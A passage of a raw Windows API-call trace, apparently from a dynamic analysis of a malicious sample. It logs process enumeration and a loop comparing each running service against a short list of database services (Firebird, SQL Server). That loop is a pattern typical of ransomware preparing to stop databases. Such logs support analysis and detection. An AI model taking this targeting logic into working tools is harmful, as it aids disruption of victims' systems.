th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0186.304] lstrlenW (lpString="conhost.exe") returned 11 [0186.304] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0186.305] lstrlenW (lpString="consent.exe") returned 11 [0186.305] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0186.306] CloseHandle (hObject=0x550) returned 1 [0186.306] Sleep (dwMilliseconds=0x1f4) [0187.098] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f420 [0187.098] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0187.099] GetLastError () returned 0xea [0187.099] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0187.100] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0187.104] CloseServiceHandle (hSCObject=0x459f420) returned 1 [0187.104] lstrlenW (lpString="Appinfo") returned 7 [0187.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0187.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0187.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0187.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0187.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0187.104] lstrlenW (lpString="AppXSvc") returned 7 [0187.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0187.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0187.105] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0187.105] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0187.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0187.105] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0187.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0187.105] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0187.105] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0187.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0187.105] lstrlenW (lpString="Audiosrv") returned 8 [0187.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0187.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0187.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0187.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0187.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0187.105] lstrlenW (lpString="BFE") returned 3 [0187.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0187.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0187.106] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0187.106] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0187.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0187.106] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0187.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0187.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0187.106] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0187.106] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0187.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0187.106] lstrlenW (lpString="CDPSvc") returned 6 [0187.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0187.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0187.106] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0187.106] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0187.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0187.106] lstrlenW (lpString="ClickToRunSvc") returned 13 [0187.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0187.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0187.106] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0187.106] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0187.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0187.107] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0187.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0187.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0187.107] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0187.107] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0187.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0187.107] lstrlenW (lpString="CryptSvc") returned 8 [0187.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0187.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0187.107] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0187.107] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0187.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0187.107] lstrlenW (lpString="DcomLaunch") returned 10 [0187.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.107] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0187.107] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0187.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0187.107] lstrlenW (lpString="DeviceAssociationService") returned 24 [0187.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0187.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0187.107] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0187.107] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0187.108] lstrlenW (lpString="Dhcp") returned 4 [0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0187.108] lstrlenW (lpString="Dnscache") returned 8 [0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0187.108] lstrlenW (lpString="DPS") returned 3 [0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0187.108] lstrlenW (lpString="DusmSvc") returned 7 [0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0187.109] lstrlenW (lpString="EventLog") returned 8 [0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0187.109] lstrlenW (lpString="EventSystem") returned 11 [0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0187.109] lstrlenW (lpString="FontCache") returned 9 [0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0187.109] lstrlenW (lpString="gpsvc") returned 5 [0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0187.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0187.110] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0187.110] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0187.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0187.110] lstrlenW (lpString="iphlpsvc") returned 8 [0187.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.111] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0187.111] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0187.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0187.111] lstrlenW (lpString="KeyIso") returned 6 [0187.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0187.111] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0187.111] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0187.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0187.412] lstrlenW (lpString="LanmanServer") returned 12 [0187.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0187.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0187.412] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0187.412] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0187.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0187.412] lstrlenW (lpString="LanmanWorkstation") returned 17 [0187.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.412] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0187.412] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0187.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0187.412] lstrlenW (lpString="lfsvc") returned 5 [0187.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0187.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0187.413] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0187.413] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0187.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0187.413] lstrlenW (lpString="lmhosts") returned 7 [0187.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0187.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0187.413] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0187.413] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0187.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0187.413] lstrlenW (lpString="LSM") returned 3 [0187.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0187.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0187.413] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0187.413] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0187.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0187.413] lstrlenW (lpString="MpsSvc") returned 6 [0187.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0187.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0187.413] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0187.413] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0187.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0187.414] lstrlenW (lpString="NcbService") returned 10 [0187.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0187.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0187.414] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0187.414] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0187.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0187.414] lstrlenW (lpString="netprofm") returned 8 [0187.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0187.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0187.414] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0187.414] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0187.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0187.414] lstrlenW (lpString="NgcSvc") returned 6 [0187.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0187.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0187.414] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0187.414] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0187.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0187.414] lstrlenW (lpString="NlaSvc") returned 6 [0187.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0187.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0187.415] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0187.415] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0187.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0187.415] lstrlenW (lpString="nsi") returned 3 [0187.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0187.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0187.415] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0187.415] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0187.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0187.415] lstrlenW (lpString="PcaSvc") returned 6 [0187.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0187.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0187.415] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0187.415] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0187.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0187.415] lstrlenW (lpString="PlugPlay") returned 8 [0187.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0187.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0187.415] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0187.415] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0187.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0187.416] lstrlenW (lpString="Power") returned 5 [0187.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0187.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0187.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0187.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0187.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0187.416] lstrlenW (lpString="ProfSvc") returned 7 [0187.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0187.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0187.416] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0187.416] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0187.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0187.416] lstrlenW (lpString="RpcEptMapper") returned 12 [0187.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.416] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0187.416] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0187.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0187.416] lstrlenW (lpString="RpcSs") returned 5 [0187.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0187.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0187.416] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0187.416] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0187.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0187.417] lstrlenW (lpString="SamSs") returned 5 [0187.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0187.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0187.417] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0187.417] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0187.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0187.417] lstrlenW (lpString="Schedule") returned 8 [0187.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0187.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0187.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0187.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0187.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0187.417] lstrlenW (lpString="SecurityHealthService") returned 21 [0187.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0187.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0187.417] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0187.417] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0187.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0187.417] lstrlenW (lpString="SENS") returned 4 [0187.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0187.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0187.417] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0187.417] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0187.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0187.418] lstrlenW (lpString="ShellHWDetection") returned 16 [0187.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0187.418] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0187.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0187.418] lstrlenW (lpString="Spooler") returned 7 [0187.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0187.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0187.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0187.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0187.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0187.418] lstrlenW (lpString="StateRepository") returned 15 [0187.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0187.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0187.418] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0187.418] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0187.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0187.418] lstrlenW (lpString="SysMain") returned 7 [0187.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0187.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0187.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0187.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0187.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0187.419] lstrlenW (lpString="SystemEventsBroker") returned 18 [0187.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0187.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0187.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0187.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0187.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0187.419] lstrlenW (lpString="Themes") returned 6 [0187.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0187.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0187.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0187.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0187.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0187.419] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0187.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0187.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0187.419] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0187.419] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0187.420] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0187.420] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a8 [0187.426] Process32FirstW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.428] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.429] lstrlenW 